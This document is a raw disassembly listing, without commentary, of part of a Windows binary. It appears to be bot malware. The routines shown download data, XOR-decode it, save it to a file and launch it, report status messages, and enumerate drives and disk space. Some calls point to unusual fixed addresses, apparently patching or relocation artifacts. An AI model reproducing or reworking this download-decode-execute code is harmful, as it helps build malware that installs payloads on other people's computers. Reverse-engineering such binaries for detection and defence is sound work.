		push	dword ptr [ebp-1F8h]
		call	dword_4CB6A4
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CB66C
		cmp	eax, ebx
		jl	loc_41617C
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_41617C
		sub	[ebp+8], eax
		jnz	loc_41604A
		mov	edi, [ebp-18h]


loc_4160E7:				; CODE XREF: ___:0041603Fj
		push	dword ptr [ebp-8]
		nop
		call	near ptr 26608E3h
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_437BA8
		push	eax
		call	sub_41B886


loc_416120:				; CODE XREF: ___:00415FF7j
		add	esp, 14h


loc_416123:				; CODE XREF: ___:00416030j
		cmp	[ebp-50h], esi
		jnz	short loc_416148
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A73
		add	esp, 14h


loc_416148:				; CODE XREF: ___:00416126j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4151AD
		cmp	edi, esi
		pop	ecx
		jbe	short loc_416160
		push	edi
		call	dword_4CB6EC


loc_416160:				; CODE XREF: ___:00416157j
		push	dword ptr [ebp-1F8h]
		call	dword_4CB6EC
		push	dword ptr [ebp-58h]
		call	sub_40B413
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h


loc_41617C:				; CODE XREF: ___:004160CAj
					; ___:004160D5j
		push	esi
		mov	esi, offset dword_437B90
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A73
		push	esi
		call	sub_4151AD
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CB6EC
		push	dword ptr [ebp-58h]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h


loc_4161BD:				; DATA XREF: sub_401ACD+7B4o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		nop
		call	near ptr 26709DBh
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_429ACC
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 27009BAh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416247
		push	offset unk_437D0C
		jmp	short loc_41628D
; ---------------------------------------------------------------------------


loc_416247:				; CODE XREF: ___:0041623Ej
		push	eax
		nop
		call	near ptr 26608E3h
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41B4C2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_41626F
		push	offset unk_437CDC
		jmp	short loc_41628D
; ---------------------------------------------------------------------------


loc_41626F:				; CODE XREF: ___:00416266j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415BD4
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_4162A0
		push	offset unk_437CBC


loc_41628D:				; CODE XREF: ___:00416245j
					; ___:0041626Dj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_41639C
; ---------------------------------------------------------------------------


loc_4162A0:				; CODE XREF: ___:00416286j
		mov	esi, 1000h


loc_4162A5:				; CODE XREF: ___:0041630Bj
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB66C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41636C
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41630D
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41D2B4
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CB650
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB6A4
		jmp	short loc_4162A5
; ---------------------------------------------------------------------------


loc_41630D:				; CODE XREF: ___:004162D5j
		lea	eax, [ebp-4C4h]
		push	offset dword_437B90
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A73
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp-4]
		call	sub_41B05B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CB6EC
		push	dword ptr [ebp-1Ch]
		call	sub_40B413
		pop	ecx
		push	1
		call	near ptr 26E0000h
		nop


loc_41636C:				; CODE XREF: ___:004162CCj
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_437C90
		push	eax
		call	sub_41B886
		add	esp, 14h


loc_41639C:				; CODE XREF: ___:0041629Bj
		cmp	[ebp-14h], ebx
		jnz	short loc_4163C1
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A73
		add	esp, 14h


loc_4163C1:				; CODE XREF: ___:0041639Fj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AD
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_4163DC
		push	dword ptr [ebp-4]
		call	sub_41B05B
		pop	ecx


loc_4163DC:				; CODE XREF: ___:004163D1j
		cmp	[ebp+8], ebx
		jbe	short loc_4163EA
		push	dword ptr [ebp+8]
		call	dword_4CB6EC


loc_4163EA:				; CODE XREF: ___:004163DFj
		push	dword ptr [ebp-1Ch]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	near ptr 26E0000h
		nop


loc_4163FA:				; DATA XREF: sub_401ACD+627Ao
					; sub_401ACD+6ABAo
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CB604
		call	dword_4CB558
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416886
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		nop
		call	near ptr 27009BAh
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_4164C1
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437ED8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4164A4
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		add	esp, 14h


loc_4164A4:				; CODE XREF: ___:00416482j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp-48h]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h


loc_4164C1:				; CODE XREF: ___:00416462j
		xor	edi, edi
		nop
		call	near ptr 26907ACh
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41B4D5
		pop	ecx
		mov	[ebp-1Ch], eax


loc_4164DB:				; CODE XREF: ___:004165AEj
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CB560
		cmp	[ebp-34h], esi
		jz	short loc_41651F
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4168EC
		pop	ecx
		pop	ecx


loc_41651F:				; CODE XREF: ___:0041650Cj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		call	near ptr 26F0000h
		nop
		cmp	edi, ebx
		jnb	short loc_41655D
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_416547
		mov	eax, [ebp+8]


loc_416547:				; CODE XREF: ___:00416542j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_41655D:				; CODE XREF: ___:00416539j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_41656A
		cmp	edi, [ebp-3Ch]
		ja	short loc_4165B4


loc_41656A:				; CODE XREF: ___:00416563j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_416584
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437EB0
		jmp	short loc_416594
; ---------------------------------------------------------------------------


loc_416584:				; CODE XREF: ___:00416570j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437E88


loc_416594:				; CODE XREF: ___:00416582j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43E390
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_4164DB


loc_4165B4:				; CODE XREF: ___:00416568j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416609
		cmp	edi, [ebp-3Ch]
		jz	short loc_416609
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_437E5C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		add	esp, 28h


loc_416609:				; CODE XREF: ___:004165BEj
					; ___:004165C3j
		nop
		call	near ptr 26907ACh
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 26608E3h
		push	dword ptr [ebp-1Ch]
		call	sub_41B0B1
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416693
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416693
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437E34
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		add	esp, 28h


loc_416693:				; CODE XREF: ___:0041663Bj
					; ___:0041664Dj
		cmp	[ebp-14h], esi
		jz	loc_4168D3
		cmp	dword ptr [ebp-44h], 1
		jz	loc_41678E
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276A8
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276A8
		fstp	qword ptr [esp]
		push	offset unk_437DFC
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41670E
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		add	esp, 14h


loc_41670E:				; CODE XREF: ___:004166ECj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_4168D3
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CB5C0
		cmp	[ebp-30h], esi
		jnz	loc_4168D3
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_437DE0
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		add	esp, 24h
		jmp	loc_4168D3
; ---------------------------------------------------------------------------


loc_41678E:				; CODE XREF: ___:004166A0j
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276A8
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276A8
		fstp	qword ptr [esp]
		push	offset unk_437D9C
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4167F6
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		add	esp, 14h


loc_4167F6:				; CODE XREF: ___:004167D4j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset dword_43D808
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 2660B96h
		cmp	eax, edi
		jnz	short loc_416878
		call	dword_4CB5AC
		call	sub_41835A
		push	esi
		nop
		call	near ptr 77E75CB5h


loc_416878:				; CODE XREF: ___:00416864j
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_437D68
		jmp	short loc_416892
; ---------------------------------------------------------------------------


loc_416886:				; CODE XREF: ___:0041643Fj
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437D3C


loc_416892:				; CODE XREF: ___:00416884j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4168C6
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		add	esp, 14h


loc_4168C6:				; CODE XREF: ___:004168A4j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_4168D3:				; CODE XREF: ___:00416696j
					; ___:0041671Fj ...
		push	dword ptr [ebp-18h]
		call	dword_4CB688
		push	dword ptr [ebp-48h]
		call	sub_40B413
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h

; =============== S U B	R O U T	I N E =======================================



sub_4168EC	proc near		; CODE XREF: ___:00416518p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416908


loc_4168F8:				; CODE XREF: sub_4168EC+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4168F8

locret_416908:				; CODE XREF: sub_4168EC+Aj
		retn
sub_4168EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_416909	proc near		; CODE XREF: sub_401ACD+5842p
					; sub_401ACD+596Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41D3BE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416909	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416923	proc near		; CODE XREF: sub_40F96B+458p
					; sub_40F96B+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D3288
		push	0
		push	edi
		call	sub_41B590
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416948:				; CODE XREF: sub_416923+5Bj
					; sub_416923+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D480
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41D410
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416986
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416948
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416948
; ---------------------------------------------------------------------------


loc_416986:				; CODE XREF: sub_416923+4Bj
		dec	esi
		mov	eax, edi


loc_416989:				; CODE XREF: sub_416923+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416998
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416989
; ---------------------------------------------------------------------------


loc_416998:				; CODE XREF: sub_416923+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416923	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169A2	proc near		; CODE XREF: sub_416B57+51p
					; sub_416B57+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CB6B4
		sub	eax, 0
		jz	short loc_4169E5
		dec	eax
		jz	short loc_4169DF
		dec	eax
		dec	eax
		jz	short loc_4169D9
		dec	eax
		jz	short loc_4169D3
		dec	eax
		jz	short loc_4169CD
		dec	eax
		jz	short loc_4169C7
		mov	eax, offset word_437F2C
		retn
; ---------------------------------------------------------------------------


loc_4169C7:				; CODE XREF: sub_4169A2+1Dj
		mov	eax, offset off_437F28
		retn
; ---------------------------------------------------------------------------


loc_4169CD:				; CODE XREF: sub_4169A2+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_4169D3:				; CODE XREF: sub_4169A2+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_4169D9:				; CODE XREF: sub_4169A2+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_4169DF:				; CODE XREF: sub_4169A2+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_4169E5:				; CODE XREF: sub_4169A2+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4169A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169EB	proc near		; CODE XREF: sub_416A33+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CB544
		test	eax, eax
		jz	short loc_416A20
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_416A20:				; CODE XREF: sub_4169EB+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4169EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A33	proc near		; CODE XREF: sub_416B57+17p
					; sub_41AA43+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4169EB
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B11
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B11
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B11
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		pop	ebx
		jmp	short loc_416B43
; ---------------------------------------------------------------------------


loc_416B11:				; CODE XREF: sub_416A33+2Cj
					; sub_416A33+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_416B43:				; CODE XREF: sub_416A33+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B57	proc near		; CODE XREF: sub_416C29+17p
					; sub_416C29+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416A33
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416BCA
		push	ebx
		push	ebx
		call	sub_4169A2
		pop	ecx
		push	eax
		push	offset unk_437F7C
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_416BFE
; ---------------------------------------------------------------------------


loc_416BCA:				; CODE XREF: sub_416B57+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4169A2
		pop	ecx
		push	eax
		push	offset unk_437F40
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 20h


loc_416BFE:				; CODE XREF: sub_416B57+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4151AD
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416B57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C29	proc near		; CODE XREF: sub_401ACD+2554p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416C4A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B57
		add	esp, 10h
		jmp	short loc_416CAB
; ---------------------------------------------------------------------------


loc_416C4A:				; CODE XREF: sub_416C29+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CB5BC
		lea	esi, [eax+2]
		push	esi
		call	sub_41B4D5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CB5BC
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416CA2


loc_416C6E:				; CODE XREF: sub_416C29+77j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416C91
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B57
		add	esp, 10h


loc_416C91:				; CODE XREF: sub_416C29+54j
		push	esi
		call	sub_41AFE0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416C6E


loc_416CA2:				; CODE XREF: sub_416C29+43j
		push	edi
		call	sub_41B0B1
		pop	ecx
		pop	edi
		pop	esi


loc_416CAB:				; CODE XREF: sub_416C29+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416C29	endp

; ---------------------------------------------------------------------------
word_416CAE	dw 8B55h		; DATA XREF: sub_401ACD+68A0o
		dd 9CEC81ECh, 8B000004h, 56530845h, 0A7B957h, 0F08B0000h
		dd 0FD64BD8Dh, 0A5F3FFFFh, 29880C7h, 10000h, 858D0000h
		dd 0FFFFFEECh, 42FEE850h, 0DB330000h, 0EB05BC80h, 5CFFFFFEh
